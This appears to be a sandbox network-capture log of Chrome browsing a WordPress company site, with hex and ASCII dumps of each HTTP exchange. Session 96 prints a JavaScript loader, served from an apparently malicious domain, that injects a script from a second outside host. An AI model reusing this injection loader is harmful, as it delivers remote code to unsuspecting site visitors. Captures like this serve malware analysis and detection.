2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 4d 2b 24 2d 76 04 1c d7 58 3a 1d 95 fa a2 a0 52 b3 18 5b 93 e4 17 92 d4 6a f3 1c 7d 6b 9d 69 46 57 cc 69 46 8a 78 a8 08 dc fd 42 a0 66 10 6b ee 9a 85 9d b1 61 d7 e5 f3 03 c1 51 8f d5 77 2f a5 40 75 0f e4 fc c8 13 a8 78 b7 e9 40 bd 4f e6 7d 28 11 b2 17 ca d6 f4 85 1c 69 5c 50 76 9b bb 7d cf b7 e3 0d 9d cf d6 d0 0c 34 14 c4 20 e3 0c ac af e8 b1 f5 a0 56 38 1c e3 1f 3a 0d 2d 89 8d 93 74 81 ba 06 0e 07 8f 02 10 7a 66 e9 30 83 68 99 fc 98 83 c8 ae 65 73 8b 8f 17 1a 9f 5a 0a bf 4a 0b 70 ed b7 73 53 43 30 39 20 d5 b5 ec fb e9 a9 57 06 fa d4 b5 64 33 71 ed 0b cb 66 97 6a 06 8b 3c e4 6f 83 01 f6 f2 31 fa 5c 31 5a 97 2e 69 62 80 56 ab 72 0b 71 8a 78 00 b6 17 de 9a d7 69 18 a6 45 93 73 aa 32 da 66 b9 07 99 83 e3 a8 cc 66 b3 75 6a 55 69 6e 5a dc fe 45 ce 6b e5 6d 56 Data Ascii: M+$-vX:R[j}kiFWiFxBfkaQw/@ux@O}(i\Pv}4 V8:-tzf0hesZJpsSC09 Wd3qfj<o1\1Z.ibVrqxiEs2ffujUinZEkmV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49891	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:28 UTC	934	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
2024-10-07 11:17:28 UTC	306	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:03 GMT Accept-Ranges: bytes Content-Length: 1150 Cache-Control: max-age=604800 Expires: Mon, 14 Oct 2024 11:17:28 GMT Content-Type: image/x-icon
2024-10-07 11:17:28 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 23 2e 00 00 23 2e 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: h( #.#.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49894	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:29 UTC	669	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
2024-10-07 11:17:29 UTC	306	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:29 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:03 GMT Accept-Ranges: bytes Content-Length: 1150 Cache-Control: max-age=604800 Expires: Mon, 14 Oct 2024 11:17:29 GMT Content-Type: image/x-icon
2024-10-07 11:17:29 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 23 2e 00 00 23 2e 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: h( #.#.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49904	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:30 UTC	933	OUT	GET /services/logistics-and-service/ HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
2024-10-07 11:17:30 UTC	473	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:30 GMT Server: Apache Link: <https://www.twbcompany.com/wp-json/>; rel="https://api.w.org/", <https://www.twbcompany.com/wp-json/wp/v2/pages/108>; rel="alternate"; type="application/json", <https://www.twbcompany.com/?p=108>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 11:17:30 UTC	7719	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 45 4e 48 22 3e 3c Data Ascii: 4000<!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="ENH"><
2024-10-07 11:17:30 UTC	8671	IN	Data Raw: 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 29 Data Ascii: valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)
2024-10-07 11:17:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:17:31 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 Data Ascii: 4000id-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{ba
2024-10-07 11:17:31 UTC	8198	IN	Data Raw: 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0d 0a 0d 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 27 55 41 2d 31 33 38 34 34 38 34 30 2d 31 27 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 20 2d 2d 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 62 6f 64 79 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 Data Ascii: cript><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config','UA-13844840-1');</script> --><style type="text/css">body #primary-nav-container #primary-nav
2024-10-07 11:17:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:17:31 UTC	2792	IN	Data Raw: 61 64 63 0d 0a 67 6f 73 2f 69 73 6f 2d 31 34 30 30 31 2e 70 6e 67 22 20 61 6c 74 3d 22 49 53 4f 20 31 34 30 30 31 20 43 65 72 74 69 66 69 65 64 22 20 77 69 64 74 68 3d 22 37 30 22 20 2f 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 09 09 09 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 34 2f 30 32 2f 49 41 54 46 2d 31 36 39 34 39 2d 43 4f 4d 42 49 4e 45 44 2d 32 2e 35 2e 32 34 2e 70 64 66 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 Data Ascii: adcgos/iso-14001.png" alt="ISO 14001 Certified" width="70" /></a></li><li><a href="https://www.twbcompany.com/2016/wp-content/uploads/2024/02/IATF-16949-COMBINED-2.5.24.pdf" target="_blank"><img src="https://www.twbcompany.com/2016/wp-content/theme

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49905	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:31 UTC	899	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/services/logistics-and-service/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
2024-10-07 11:17:31 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:31 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:31 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49906	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:31 UTC	560	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:31 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 227 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:31 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:31 UTC	227	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 3b Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49915	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:31 UTC	886	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/services/logistics-and-service/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
2024-10-07 11:17:31 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:31 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:31 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49914	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:31 UTC	882	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/services/logistics-and-service/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
2024-10-07 11:17:31 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:31 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:31 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49919	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:31 UTC	572	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:34 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 11:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 11:17:34 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 11:17:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49920	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:31 UTC	923	OUT	GET /2016/wp-content/uploads/2015/08/logistics-hero.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/services/logistics-and-service/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
2024-10-07 11:17:31 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:55 GMT Accept-Ranges: bytes Content-Length: 64141 Content-Type: image/jpeg
